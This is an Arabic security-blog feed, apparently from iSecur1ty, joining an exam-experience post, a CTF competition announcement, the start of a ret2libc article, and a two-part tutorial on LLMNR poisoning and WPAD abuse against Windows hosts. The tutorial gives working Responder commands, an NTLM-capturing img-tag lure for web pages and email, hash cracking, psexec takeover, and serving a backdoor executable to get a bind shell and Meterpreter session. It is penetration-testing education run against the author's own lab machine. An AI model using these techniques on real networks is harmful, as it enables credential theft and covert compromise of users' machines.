يجب عليك أن تحقق 70 نقطة من أصل 100 للنجاح بالإمتحان , وكنصيحة ضرورية يجب عليك أن تأخذ screenshots لكل خطوة تقوم بها مهما كانت سخيفه , لأن التفاصيل مُهمة جداً أثناء كتابة التقرير وسوف تُساعدك على بناء تقرير مُفصل وإحترافي.

كنصيحة جدية , خذ الأمور بكل بساطة أثناء الإمتحان ولا تُفكر كثيراً أو تعقد الأمور , بالنسبة لي إجتزت الإمتحان من المرة الثانية , حيث بالمرة الأولى لم أكن مُستعد ذهنياً للإمتحان إطلاقاً ولم يكن لدي خطة جيدة للتعامل مع التحديات بالإضافة “قمت بجدولة الإمتحان بعد الإنتهاء مباشرة من إمتحانتي الجامعية 😀 “.

وصدقاً , في حال رسبت لمرة أو إثنتين أو ثالثه أو حتى أربعه , لا تزعج نفسك , الأمور السيئه تحصل دائماً فقط عليك أن تبذل جهد أكبر , الإمتحان ليس سهل والتحديات التي به تحتاج إلى تفكير وتحتاج إلى “إستراتيجية جيده” للحل.

بالمرة الثانية قمت بجدولة الإمتحان بتاريخ مُناسب جداً لي  وبدأت في تمام الساعة 9:00 صباحاً , وتفرغت بشكل كُلي للإمتحان , وبفضل الله تمكنت من إجتياز الإمتحان خلال 7 ساعات في المرة الثانية.

بعد الإنتهاء من الإمتحان مباشرة وحل التحديات , أخذت إستراحة قصيرة , ومن ثم بدأت بمراجعة الـ screenshots وخطوات الحل الخاصة بي , ومن ثم ذهبت لتناول العشاء خارجاً وعُدت لإعداد التقرير , حيث أن التقرير أخذ مني 3 ساعات عمل بناتج 40 صفحة , “على عكس الكثير أنا أحب أن أقوم بكتابة التقارير والأعمال الورقيه” وأنهيت يومي بالنوم عميقاً سعيداً بما حققته 😀

بخصوص التقرير فـ 40 صفحة تُعتبر قليله قليلاً مُقارنة بالأرقام التي كُنت أشاهدها بالمراجعات الخاصة بالدورة 😀

عموماً لا استطيع التحدث كثيراً حول الإمتحان أو حول التحديات , ولكن صدقاً تجربة الإمتحان سواء كانت في المرة الأولى أو الثانية كانت مُمتعة جداً بالنسبة لي , وخصوصاً في المرة الأولى , حيث أنني تعلمت من بعض الأخطاء لدي وتمكنت من تطوير بعض المهارات لدي.

بعد تسليم التقرير في صباح اليوم التالي وبعد الإنتهاء من الإمتحان , إستلمت النتيجة بعد يوم واحد تُفيد بأنني إجتزت الإمتحان بنجاح

وبعض أسبوع تقريباً , وصلتني الشهادة

الخُلاصة : 

التجربة عموماً كانت رائعة جداً , وأنا أنصح أي شخص بالتقديم للدورة , ليس بسبب الشهادة فقط , بل بسبب الخبرة العملية التي سوف تكتسبها فعلاً.

بالمُناسبة , شخصياً لا أفضل الإعتماد فقط على الشهادات أو حمل الشهادات فقط , بقدر ما أفضل الخبرة العملية والتجارُب الجديدة.

في حال كان لديك خبرة عملية بالمجال سواء كطالب أو كشخص عامل وتريد أن تأخذ الشهادة , فأنا أشجعك على هذا بالفعل , لأنه الدورة سوف تضيف لك الكثير على عكس العديد من الشهادات الموجوده بكثرة والتي تعتمد على الجزئية النظرية فقط.

مقال : أختراق كل نظام ويندوز علي الشبكه –الجزء الأول (LLMNR poisoning)

$
0
0

السلام عليكم ورحمه الله أعزائي القراء وأعتذر علي الغيبه الطويله ولكن بأذن الله عودا حميد.

هدف هذه السلسله هو التوضيح لك مدي سهوله أختراق أنظمه الويندوز أذا كان الجهاز الهدف معك علي نفس الشبكه وسنعتمد في شروحاتنا هذه علي بعض التكنيكات المتقدمه والغير متقدمه للتلاعب بـالـProtocols الخاصه بالتواصل بين انظمه الويندوز وبعضها داخل الشبكه والذي من المفترض أنك كـمختبر أختراق محترف علي علم ببعضها لكن أعدك أن في هذه السلسله ستتفاجئ ببعض المعلومات التي لم تكن تعلمها 😀 .

 سنبدأ في هذا المقال بشرح وتطبيق هجوم الـLLMNR poisoning للحصول علي باسورد المستخدم ومن ثم أختراقه ولكن قبل أن نبدأ يجب وضع النقط علي الحروف كما يقال حتي أتأكد بأنك ستكون علي علم بكافه المصطلحات التي ستقال في هذا المقال.

 ماذا تعني المصطلحات LM ,Net-NTLMv1/v2,NTLM ؟

LM

هو نوع من أنواع الهاش وهو أقدم وأول نوع بدأ أستخدامه في أنظمه الويندوز لتخزين الكلمات السريه وتم أيقافه (لكنه مازال موجود) مع صدور Windows Vista بسبب ضعفه وسهوله كسره ولكن كما لاحظت أنت الأن ستجده علي أصدارات ويندوز XP وهذه نقطه سنعود لها لكن ليس الأن.

NTHash أو NTLM

هو نوع الهاش الذي يستخدم علي أصدارات الويندوز الحاليه لتخزين الكلمات السريه وتستطيع أن تستخرجه من ملف الـSAM أو بأستخدام أداه Mimikatz ويطلق عليه في الغالب NTLM فقط وهو مايسبب أختلاط المسميات دوما بينه وبين بروتوكول الـNTLM ولذلك يفضل تسميته بالـNTHash وهذا هو ما يبدو عليه :

b4b9b02e6f09a9bd760f388b67351e2b

وللعلم الخوارزمية المستخدم لتكوينه هو

MD4(UTF-16-LE(password))

Net-NTLMv1/v2 أو NTLMv1/v2

هو البروتوكول المسئول بنفسه 😀 وهو يعمل عن طريق أنه يأخذ هاش الـNTHash ويستخدمه في أنشاء أتصال عن طريق خوارزمية challenge/response بين الطرفين والذي هو يكون كالأتي (بفرض أن الطرف الأول يود تسجيل الدخول للطرف التاني) :

الطرف الثاني يرسل سؤال أو تحدي للطرف الأول عباره عن رساله عشوائيه والمفترض أن يشفره بأستخدام الـNTHash الخاص به فيقوم الطرف الأول بتشفير التحدي وأرساله مع الـNTHash الخاص به فيكون الرد علي الشكل الأتي :

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

الأن يقوم السيرفر أو الطرف الثاني بفك التشفير بأستخدام هاش كلمه السر او الـNTHash الخاص بالطرف الأول والذي أرسله له في الرد واذا كان الناتج بعد فك التشفير هو التحدي الذي ارسله له في البدايه فا يقوم بالسماح له بالأتصال وهذه صوره للتوضيح :

الفرق بين NTLMv1 و NTLMv2

بروتوكول NTLMv2 هو تحديث NTLMv1 وهو الذي سبق شرحه ويستخدم بشكل أفتراضي في أصدارات الويندوز بدايه من أصدار 2000 وهو يعمل بنفس مبدأ وطريقه NTLMv1 كما شرحنا لكن الفرق في أن التشفير أقوي والرد مختلف فشكل الرد يكون :

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

والفرق بين طريقه التشفير في كل واحد من باب العلم بالشئ هو

NTLMv1

C = 8-byte server challenge, random
K1 | K2 | K3 = LM/NT-hash | 5-bytes-0
response = DES(K1,C) | DES(K2,C) | DES(K3,C)

NTLMv2

SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*

والأن مقارنه بين هاشات الـNTLM أو الـNTHash والـNet-NTLM من السابق شرحه ولكن هذه المره من الناحيه الأمنيه التي تهمنا كمختبرين أختراق

  • الـNTLM Hash تستطيع أستخدامها في هجمات Pass-the-hash ولكن الـNet-NTLM hashes لا تستطيع أستخدامها فيها
  • الأثنين تستطيع أن تنفذ عليهم هجمات الـBruteForcing و الـDictionary attacks لتأتي بكلمه السر ولكن…
  • بدايه من ويندوز 8.1 لا تستطيع أن تأتي بكلمه السر من هاش الـNTLM بأستخدام أداه Mimikatz ولكن تستطيع بنفس الأداه من خلال ذاكره الجهاز أن تأتي بالهاش ثم تنفذ هجوم Pass-the-hash
  • مع أنك لا تستطيع أن تستخدم الـNet-NTLM hash في هجوم Pass-the-hash ولكنك تستطيع أن تستخدمه في هجوم الـsmb relay وتخترق الأجهزه الأخري الموجوده داخل الشبكه في دقائق وهو الذي لا تستطيع أن تفعله بأستخدام الـNTHash وسوف نتناول هذا الهجوم وشرحه والتطبيق بالتفصيل في المقال القادم 😀

(ملحوظه : كل الهاشات التي ذكرت بالأعلي هي من صفحه الأمثله علي موقع hashcat واذا أردت فهم طريقه عمل الـNTLM بالتفصيل أكثر فصفحه wikipedia قامت بشرح أكثر من رائع لها )

والأن ماهو برتوكول الـLLMNR ؟

هو أختصار لـLink-Local Multicast Name Resolution وهو عمله يتلخص في عده أشياء أهمها عمل name resolution للأجهزه داخل الشبكه عندما لا يعلم الـDNS Server الأجابه وشكل الـPacket مبني علي شكل باكت الـDNS Query ،أعلم أعلم أنك لم تفهم شئ فلنبسط الأمور قليلا 😀

مثال عندما تكتب عنوان هوست محدد داخل الشبكه يقوم المتصفح بسؤال الـDNS server الموجود في أعدادات الجهاز عن الـIP الخاص به فعندما لا يعلم الأجابه فهنا يأتي دور الـLLMNR Protocol فيقوم بعمل Multicast أو بث لكل الأجهزه التي علي الشبكه يسألهم فيها هل يعرف احد هذا الجهاز فيجيب عليه أحد الأجهزه علي الشبكه ويقول هو فلان أو يجيب الهوست نفسه أذا كان علي نفس الشبكه ويقول هذا أنا!

حتي الأن لا يوجد مشكله صحيح ؟ لكن من الناحيه الأمنيه ؟ *أيموجي ضحكه شريره*

أستغلال الـLLMNR لصالحنا

وليكن السيناريو كالتالي لكي يتضح الأمر أن لم تتخيله بعد :

  1. الهدف يحاول الدخول علي الطابعه التي بداخل الشبكه والتي الهوست نيم الخاص بها لنفرض printer اذا المفترض انه سيقوم بكتابه //printer
  2. الهدف يقع في خطأ أملائي وهي يكتب فيقول له الـDNS Server أنه لا يعرف هذا الهوست
  3. يقوم جهاز الهدف الأن بعمل Multicast يسأل الأجهزه التي بالشبكه هل يعرف أحد هذا الهوست
  4. يقوم المهاجم بالأجابه عليه فيقول نعم هذا أنا ! والأن اذا تريد الأتصال بي قم بتشفير هذا التحدي بهاش كلمه السر الخاصه بيك (كما شرحنا)
  5. يقوم جهاز الهدف بالرد بالـNet-NTLM hash (والذي هو الرد كما شرحنا من قبل)
  6. يقوم المهاجم بحفظ الهاش ثم يقطع الأتصال 😀

هذا هو مايسمي بهجوم الـLLMNR Poisoning والأن كيف نقوم به ؟

هناك العديد من الأدوات التي تمكنا من تنفيذه وحتي أنه يوجد موديولز خاصه به علي فريم ورك Metasploit  (auxiliary/spoof/llmnr/llmnr_response) ولكننا سنستخدم أداه Responder بسبب قوتها وسهوله أستخدامها ولأننا بشكل أو بأخر سنحتاجها في المقالات القادمه

تستطيع أن تحملها من هنا وتثبتها بالطريقه التقليديه أن لم تكن لديك من الأساس والأن نقوم بتعديل ملف  Responder.conf لنوقف الـHTTP Server بضبط المتغير لـOff بدل On حتي نضمن أنه لن يحصل تداخل ونحصل علي الهاش بسبب شئ أخر 😉 (سنوضحه بعد قليل) وستجد هذا الملف بداخل المسار

/etc/responder/Responder.conf

فيكون شكل بدايه الملف كالتالي :

الأن سنقوم بتشغيل الأداه عن طريق الأمر :

responder -I wlan0 -wv

وتستبدل wlan0 بالـinterface التي أنت والهدف عليها والأن لنلعب 😀

الهدف هذه المره هو ويندوز 7

كما تري هذا ويندوز 7 الهدف والأداه تعمل بالخلفيه.

الأن كل المطلوب هو الأنتظار حتي يحاول الجهاز الهدف الدخول علي جهاز أخر داخل الشبكه غير موجود أو أي شئ مثل هذا

ولمحاكاه هذا سأكتب أي أسم جهاز عشوائي للدخول عليه وتستطيع عمل هذا بكتابه \\ ومن ثم أسم عشوائي سواء داخل الـexplorer الخاص بالملفات أو حتي داخل متصفح الـInternet Explorer وأنا عن نفسي سأكتبه داخل Run ومن ثم ستجد أداه Responder تخبرك بأن الجهاز الهدف يعمل Multicast وتأتي بالهاش كما شرحنا فيكون الأمر بالشكل الأتي

كما تري في جهاز الهدف ظهر خطأ أما نحن لدينا الأن كل مانريده 😀

أداه responder تقوم بعمل ملف لكل جهاز تلتقط منه شئ وتحفظ فيه المعلومات المهمه وهي الملفات ستجدها داخل المسار

/usr/share/responder/logs

فنقوم بعرض الملف فنجد الهاشات كالأتي

الأن سنقوم بعمل crack للهاش لنأتي بكلمه السر وسنستخدم أداه John The Ripper لهذا كالأتي

كما نري كلمه السر هي 1234567890 واليوزر اذا لم تلاحظ من قبل هو win7lab والأن نستطيع أن نستخدم موديول psexec من فريم ورك metasploit لأختراق الجهاز ومع أنه أمر سهل بعد الأتيان بكلمه السر ولكن سأوضحه هذه المره لمن لا يعلمون.

نفتح الميتاسبوليت ونكتب الأوامر المعتاده ولكن بما أن صوره أفضل من ألف كلمه فهذا ما ستفعله

لا ، لن أقول “تم أختراق الهدف بنجاح” 😀

الأن كما تري الطريقه سهله ولا تحتاج أن تتواصل مع المستخدم بأي طريقه لكن المشكله الوحيده أنك ستضطر أن تنتظر المستخدم أن يخطأ في كتابه أي Host Name هو يدخل عليه والذي ليس يحدث كثيرا في الشبكات العاديه والمستخدمين العاديين لكن بداخل شبكه شركه أو داخل سايبر/مقهي/كافيه أو أي مكان المستخدمين يشاركون فيه الملفات بينهم وبين بعض ستري هذا يحدث.

ولكن أن كنت في شبكه عاديه في الغالب هذه الطريقه لن تكون ذات جدوي في بهذا الشكل ،أذا هي تحتاج بعض التطوير 😀

هذا التطوير يرجع لتفكيرك خارج الصندوق كما يقال فكلما كانت أبداعيه أكثر خرجت بطرق أكثر والأن سأقول لك أن تطويرات للهجوم حتي لا تنتظر المستخدم يخطأ.

كما تري الفكره كلها في الـAuthenticate لذلك نحن نحتاج أن يجعل المستخدم يتصل بنا تلقائيا فعلي سبيل المثال تستطيع أن تنشئ صفحه html وتضع بها تاج img الخاص بالصور وتضع السورس هو صوره من علي جهازك سواء كانت موجوده أو لا ،أي جهاز سيفتح هذه الصفحه سيتصل بجهازك(في أكثر الحالات) .

<img src="\\ip\image.jpg">

تطبيق عملي سريع 😀

كما تري الأمر أصبح أسهل ولكن هنا تحولت الي مشكله أنك تحتاج أن تجعل المستخدم يفتح الصفحه فأصبحت تحتاج الأن الي تدخل من المستخدم لكن أذا كنت تري الأمر هكذا فأنت لم تفهم الفكره بعد :3

أستخدم سكربت LANs.py أو أداه Bettercap أو أي اداه تتيح لك بتنفيذ هجوم MITM وحقن أكواد HTML داخل الـTraffic الخاصه بالهدف فنقوم فحقن تاج الـimg فنحصل علي نفس النتيجه بدون أي تدخل من المستخدم مجرد أنه يتصفح فقط ! 😀

الأن كل هذا كما تري داخل الشبكه فهل توجد طريقه أحصل بها علي الـNTLM hashes من خارج الشبكه ؟ 😀

نعم هناك والعديد من الشركات والخبراء الأمنين حذروا من الهجمات المماثله لكن هذا سيكون موضوع مقاله أخري في هذه السلسله سنتكلم فيها عن العديد من الخدع التي نستطيع عمل هذا بها ولكن حتي وقتها هل تعلم أن كتابه رساله email بالـ html ووضع فيها تاج img السابق ذكره فعند فتح هذه الرساله من تطبيق الـOutlook ان الجهاز سيتصل بك كما حصل منذ قليل وتستلم أنت الهاش 😀 ؟ ولكن كتابه رساله html ليس سهل الأن فقليل من الخدمات أصبح يسمح لك بهذا ولكن هذا ليس موضوعنا الأن لنترك الحديث فيه وشرحه للمقاله الخاصه به 😀

والأن…

كنت أريد أن أشرح في هذا المقال أيضا كيف أن مجرد فتحك لمتصفح Internet Explorer يتسبب في أختراقك بدون فعل أو فتح أي صفحه لكن بما أن المقال أصبح طويلا كما ومعلوماتيا فنتركه للمقال القادم حيث أنه لا أستطيع أن أمر علي الأمر سريعا.

أتمني أن تكونوا أستفدتم من المقال وأراكم في المقالات القادمه وأعدكم أن ماقيل في هذه المقاله لا يقارن بما سيقال في باقي السلسله فهذه كانت مجرد مقدمه لازال هناك العديد من البرتوكولات وأستغلالها أجمل بكثير 😀


مقال : إختراق كل نظام ويندوز علي الشبكه –الجزء الثاني ++(Internet explorer WPAD)

$
0
0

هذا المقال جزء من سلسله مقالات “أختراق كل نظام ويندوز علي الشبكه” اذا لم تري المقال السابق فأنت بحاجه لأن تراه قبل أن تبدأ من هنا.

في المقاله السابقه ذكرت لكم أنني سأشرح في هذه المقاله لم أن مجرد فتحك لمتصفح Internet explorer سيتسبب في أختراقك بدون أن تفعل شيئا مجرد فتح المتصفح .

هذه ليست ثغره من ثغرات Internet explorer المعتاده بل هي مشكله في الأعدادات الأفتراضيه الخاصه بالمتصفح وهي موجوده في جميع أصدارات الويندوز فكما يقال “أنها خاصيه وليست خطأ” ،والأن سنري ماسبب هذه المشكله.

قبل أن نبدأ أنت بحاجه لأن تعلم ماهو برتوكول الـWPAD حتي تفهم ما سيحدث ومع أننا تلاعبنا به المقال الفائت أيضا لكنني لم أرد ذكره وتركته حتي أشرحه بتفصيل أكثر في مقال منفصل.

ماهو بروتوكول الـWPAD ؟

هو أختصار لـWeb Proxy Auto-Discovery وهو بروتوكول تقوم المتصفحات بأستخدامه لأيجاد ملف الـPAC بشكل تلقائي والـPAC أختصارا لـProxy Auto-Config وبيستخدم DHCP و DNS لأيجاد هذا الملف دون أن يحتاج لتدخل كبير من المستخدم فهو موجود في معظم المتصفحات وبعضها مفعل به بشكل أفتراضي مثل متصفح الـInternet explorer وهنا مربط الفرس 😀

دعوني أصيغ الأمر مجددا بطريقه أوضح الأن لدينا جهاز داخل شركه معينه يريد جلب ملف الضبط الخاص بالـWPAD ، والذي هو wpad.dat ،لكي يهيئ أعدادات البروكسي الخاصه به فا ليحصل علي هذا الملف يقوم بالأتي :

  1. يبحث داخل الشبكه عن جهاز بأسم wpad ولكي يجده يستخدم طريقه من الثلاثه
  2. أولا يقوم بسؤال سيرفر الـDHCP عن الجهاز الذي يحمل هذا الأسم ليأتي بالملف منه واذا وجده ينتقل للخطوه الأخيره
  3. اذا لم تنفع الطريقه الفائته يقوم بسؤال سيرفر الـDNS عن الـSub-Domain الخاص بالـWPAD فعلي سبيل المثال أذا كان دومين الشركه iSecur1ty.com فيقوم بعمل DNS Query يسأل السيرفر فيها عن wpad.iSecur1ty.com حتي يجد الجهاز الذي عليه ملف الـwpad.dat واذا وجده ينتقل للخطوه الأخيره اذا لم يجده ينتقل للخطوه التاليه :3
  4. الأن الجهاز يقوم بعمل Broadcast بأستخدام برتوكول الـLLMNR ، السابق شرحه في المقاله السابقه ، يسأل جميع الأجهزه التي علي الشبكه عن الـWPAD Server أو الجهاز الذي عليه الملف واذا وجده ينتقل للخطوه الأخيره واذا لم يجده اذا الجهاز لن يقوم بأستخدام البروكسي كما هو محدد له!
  5. يقوم بتحميل الملف (wpad.dat) وأستخدامه

لفهم كيفيه عمله بالتفصيل أكمل قرائه من هنا

الأن لعلك لاحظت انه هناك العديد من الهجمات التي يمكن أن تطبق في الخطوات السابقه مثل الـDHCP poisoning او الـDNS poisoning ولكن المشكله هنا أنه يمكن الحمايه منهم بوجود الشخص المناسب اذا كنت داخل شبكه شركه أو شيئا من ذاك القبيل ولكن أن قمنا بعمل هجوم الـLLMNR Poisoning فأن الـLLMNR Broadcast تذهب لكل جهاز داخل الشبكه فعندما تصل الرساله لجهازنا ، أي جهاز المهاجم ، فنقوم بالرد بأن لدينا ملف wpad.dat فا يسألنا الجهاز بأن نعطيه الملف فا لكي يحصل هذا يجب أن يحدث عمليه مصادقه أو Authentication كما شرحنا المقال السابق وبالتالي النتيجه أننا نحصل علي الـNTLM Hashes بسهوله 😀

الأن كما لاحظت هذا يحدث فقط في الشركات اذا فلنفترض أن الشركه لا تستخدم هذا الميزه أو أن الهدف ليست شركه فهل سيكون هذا التكنيك بلا فائده ؟ بالتأكيد لا :3

كما ذكرت مسبقا هذا الميزه موجوده في كل المتصفحات بأنتظار أن تفعل ولكن منها ماهو مفعل بشكل أفتراضي وهو متصفح الـInternet Explorer وهو موضوعنا هذا المقال فا المشكله في هذا المتصفح أنه ستجد هذه الميزه مفعله بشكل أفتراضي سواء كنت داخل شبكه ولا لا فا مجرد فتح المتصفح يبدأ بعمل الخطوات السابق ذكرها مما يجعل أن فتح المتصفح يتسبب في أختراقك فقط فتحه بدون أستخدامه ! وهو يستخدم نفس أعدادات الخاصه بالويندوز فا بداخل الـLAN Settings داخل الضبط الخاص بالـInternet explorer ستجد هذا

والأن…

بعدما فهمت كيف يعمل بروتوكول الـWPAD الأن لنبدأ نطبق خطواتنا لأختراق الجهاز ولعمل هذا سنستخدم أداه Responder هذه المره أيضا لكن هذه المره أترك ملف Responder.conf كما هو فيكون كالأتي

الأن نشغل الأداه بنفس من خلال الأمر

sudo responder -I wlan0 -wv

الأن كل شئ جاهز الهدف هو ويندوز 7

الأن مجرد فتحي للمتصفح أنظر ماذا سيحدث

تم ألتقاط الهاشات بنجاح ونستطيع التكمله لأختراق الجهاز كما شرحنا من قبل

لاحظ أنه في حالات أخري قد لا يكون الجهاز يقوم بعمليه التصديق بشكل ألي فيسأل المستخدم عن الأسم وكلمه السر عن طريق prompt تظهر له في الجهاز وليس المتصفح ولكن في هذه الحاله ما سيكتبه سيأتيك كما هو Plain text وليس هاش.

يفترض أن تكون هذه نهايه المقاله ولكن…

لا لن أنهيها هنا لنطور هذا التكنيك أولا ونستغل الملف أكثر 😀

الأن أنت رأيت فوق في بدايه المقال أن كل مافعلناه هو أستغلالنا لبحث الجهاز عن الملف لنجعله يتصل بنا لنلتقط الهاش ولكن الا يمكننا أستغلال الملف ذات نفسه ؟

أداه Responder هي أداه رائعه بل ومدهشه كلما فهمتها أكثر كلما أحببتها أكثر فالأداه لا تكتفي بأنها تخبر الجهاز أنها تملك الملف حتي تجعله يتصل بها بل أنها تصبح تملك الملف فعلا حيث أنها تقوم بتوليد الملف بالفعل ولكن بداخل الملف تضع الهوست الخاص بالبروكسي هو ProxySrv وهو بالطبع ليس موجودا علي الشبكه فا يرسل الجهاز LLMNR Broadcast ويحدث كما شرحنا من قبل مجددا ولكن هذه المره يخبر الجهاز أنه هو البروكسي فالأن تصبح كل الترافيك الخاصه بالجهاز تمر من خلال جهازنا بما أننا البروكسي المتصل به الجهاز فنستطيع أن نعدل الصفحات الذي يفتحها المستخدم قبل فتحها مما يفتح الباب لأختبار مهاراتك في الهندسه الأجتماعيه 😀

الأن أنت فعلت كل الذي سبق والجهاز حصل علي الملف وأستخدمه لكن هذا لا يكفي فالأن سنغلق الأداه ونبدأ من جديد بعد تفعيل بعض المزايا الأخري.

بداخل ملف الـResponder.conf ستجد سكشن أسمه HTTP Server نحن هذه المره مهتمين بخمس متغيرات في داخله فقط وهما :

  • Serve-Exe وضبط قيمه هذا المتغير لـOn سيفعله يجعل الأداه تبدل كل ملف exe يقوم المستخدم بتحميله بملف exe خاص بنا والذي سيكون Backdoor بالطبع 😀
  • Serve-Html تفعيله سيجعل الأداه تستبدل الصفحات بصفحه مخصصه ، عندما يكون لا يحمل شئ ، والتي تقنع المستخدم بأن يقوم بتحميل الملف
  • HtmlFilename وهذه هي الصفحه التي تظهر للمستخدم لأقناعه بتحميل الملف وأنا عن نفسي أجدها مقنعه ولا داعي لتغييرها ولكن أن أردت تغييرها تستطيع كتابه مسار ملف أخر
  • ExeFilename وهذا هو الملف الذي سيحمله المستخدم والذي هو بشكل أفتراضي ملف يقوم بعمل bind shell تستطيع الأتصال به كما سنوضح بعد قليل وتستطيع أن تستبدله بملف Backdoor تولده بأستخدام الـMetasploit مثلا كما سنوضح بعد قليل ايضا
  • ExeDownloadName وهذا هو أسم الملف بعدما يقوم المستخدم بتحميله وأنا عن نفسي أيضا أراه مناسب لا داعي لتغييره

فيصبح الناتج النهائي للملف الأن

الأن نشغل الأداه ونفتح المتصفح كما فعلنا من قبل وسيحصل نفس الذي حصل والأن متي تعرض الأداه الصفحه المخصصه ؟ تعرض الأداه الصفحه في حالتين :

  1. أن يقوم المستخدم بفتح صفحه http
  2. أن يكتب أي هوست نيم ليدخل عليه سواء كان موجودا أم لا مثل testtest/ مثلا

الأن بداخل المتصفح نجرب نكتب أي شئ مثلا testtest/ وندخل عليه ونري النتيجه

كما تري الصفحه فتحت والتي تخبر المستخدم أن الموقع قد منع بسبب تحديثات في الـSecurity Policy ولكي يفتح الموقع عليه أن يحمل الكلاينت الجديد حتي يستطيع أن يفتح المواقع 😀

والأن نضغط علي كلمه Proxy Client حتي نحمل الملف وبعدها نقوم بتشغيله

الأن بعد تحميل وتشغيل الملف لا يظهر شئ علي جهاز المهاجم أو علي جهاز المستخدم فكيف ندخل علي الـBind Shell ؟

الـBind Shell موجود علي المنفذ 140 فا نستطيع الدخول اليه عن طريق الـNetcat فنجد الأتي

كما تري حصلنا علي Bind Shell داخل الجهاز 😀 ولاحظ أنك تستطيع أن تغير أسم الملف بملف أخر خاص بك فعلي سبيل المثال سأقوم الأن بتوليد Backdoor لأستخدامه بسرعه لأحصل علي Meterpreter Session داخل الجهاز ، وهذا أمر يرجعلك ماهو الملف أو ماذا يفعل الأهم الا تمسح الملف الأصلي من داخل فولدر files ، وسأقوم بأستخدام سكربت خاص بي قمت ببرمجته منذ فتره لتسريع توليد الباكدورز 😀

نجهز الميتاسبلويت لأستقبال الأتصال ونفتح أداه Responder 😀

الأن نحمل الملف ونستقبل الجلسه

كما تري أخترق الجهاز بالطبع 😀

أخر شئ اريد أن أقوله قبل نهايه المقاله هو

لاحظ الفرق عند الدخول علي google.com

وعند الدخول علي https://google.com

بالتأكيد لاحظت الفرق فعند الدخول علي موقع جوجل ، المعروف بأنه يعمل علي الـHTTPS ، بدون كتابه الـhttps نجد موقع جوجل فتح من خلال بروتوكول الـhttp والصفحه المخصصه عرضت ! فكيف هذا ؟

أي موقع يعمل من خلال الـhttps عند فتحه بدون كتابتها يفترض أنه سيفتح http ثم يقوم بعمل تحويل علي الـhttps وهذا ليمنع هجمات الـDowngrade والـSSLStriping ولكن ما حدث هنا أن الأداه لا تعطي الفرصه للموقع ليقوم بالتحويل من http لـhttps والذي سيطبق مع أي موقع أخر مما يجعلنا سعداء 😀

الي هنا تنتهي مقالتنا اليوم أرجوا أن تكون أستفدت وأنتظرونا في الجزء القادم وأيضا أعتذر علي التأخر فهذه فتره أمتحانات فلذلك أكتب كلما يتيح لي الوقت .

خبر : المسابقة الأردنية الوطنية لأمن المعلومات بتنظيم CyberTalents

$
0
0

تنظم منصة CyberTalents بالتعاون مع شركة Trend Micro كشريك استراتيجي ، المسابقة الأردنية الوطنية لأمن المعلومات 2018 , حيث تسعى CyberTalents هذا العام لتجهيز أفضل فريق للمنافسة في النهائيات الإقليمية بين البلاد العربية التي سوف تُقام في جمهورية مصر العربية في الثامن من أغسطس القادم والمؤهلة لمسابقة Trend Micro العالمية المقامة في اليابان نوفمبر ٢٠١٨ .

شروط المسابقة :

تقام المسابقة على مرحلتين  :

  1. مرحلة تمهيدية (أونلاين) أيام ٢٨-٣٠ من شهر يونيو القادم
  2. مرحلة نهائية بجامعة العلوم التطبيقية الخاصة بالأردن، يوم ٢١ من شهر يوليو القادم.

كما يُمكن لأي شخص المشاركة دون التقيد بالسن أو الدراسة بشرط تجاوز المرحلة التأهيلية بشكل فردي , وفي ما يلي شروط الفريق المُشارك :

  1. الحد الأدنى لعدد المشاركين في الفريق في المرحلة النهائية هو اثنين وأقصى عدد هو أربعة.
  2. ٥٠٪ من الفريق يجب أن يكون من الطلاب، على سبيل المثال: إذا كان الفريق مكون من اثنين يجب أن يكون واحد منهما طالب.
  3. ٥٠٪ من الفريق يجب أن يكون حامل للجنسية الأردنية، على سبيل المثال: إذا كان الفريق مكون من اثنين يجب أن يكون واحد منهما حامل للجنسية الأردنية.

مجالات المسابقة (Challenges) :

تقيس المسابقة مهارات المشاركين في مجالات أمن المعلومات المختلفة مثل:

  1. أمن الشبكات Network Security
  2. أمن المواقع الإلكترونية Web Security
  3. علم التحقيق الجنائي الرقمي Digital Forensics
  4. علم التشفير Cryptography
  5. الهندسة العكسية Malware Analysis

مواعيد و جوائز المسابقة :

تقام المحاضرات التعريفية في أكثر من جامعة بالأردن في الفترة ما بين 28 أبريل إلى 3 مايو ٢٠١٨. تقام المرحلة التأهيلية على موقع سايبر تالنتس لمدة ٣ أيام من ٢٨ – ٣٠ يونيو ٢٠١٨ تشارك الفرق المتأهلة فى المرحلة النهائية التي ستقام يوم 21 يوليو بجامعة العلوم التطبيقية الخاصة، الأردن. يشارك الفريق الفائز بمسابقة الأردن الوطنية لأمن المعلومات في مسابقة أمن المعلومات الإقليمية بين البلاد العربية في الثامن من أغسطس ٢٠١٨ لتمثيل الأردن شامل جميع تكاليف الرحلة من طيران وإقامة. يشارك الفريق الفائز بمسابقة أمن المعلومات الإقليمية بين البلاد العربية في مسابقة “Trend Micro 2018” في طوكيو باليابان في نوفمبر ٢٠١٨ ممثلًا الدول العربية.

مكان المسابقة :

كما ذكرنا مُسبقاً , سوف تقام الدورة في جامعة العلوم التطبيقية الخاصة في الأردن – عمّان , وهذه الخريطة تمثل موقع الجامعة تحديداً :

لمعرفة المزيد والاشتراك في المسابقة التسجيل علي موقع من خلال هذا الرابط أو التواصل مع الدعم الفني من خلال عنوان البريد support at cybertalents.com

 

 

مقال : إستغلال ثغرات Buffer overflow على أنظمة Linux بإستخدام ret2libc technique لتخطي NX

$
0
0

منذ فترة لم أقم بالكتابة داخل iSecur1ty للإنشغال ببعض الأمور , لذلك أحببت أن أعود للكتابة من جديد من خلال البدأ بسلسلة مقالات جديدة تختص بالـ binary exploitation سوف أقوم من خلالها بشرح العديد من الثغرات وإستغلالها على الأنظمة المُختلفة , وفي هذا المقال إن شاء الله سوف أقوم بشرح كيفية إستغلال ثغرات buffer overflow على أنظمة Linux وتخطي الـ Non executable stack أو ما يُعرف بالـ NX من خلال إستخدام تقنية Return2Libc , وسوف أحاول قدر الإمكان إعادة شرح أساسيات ثغرات الـ buffer overflow بشكل مُلخص أثناء المقال.

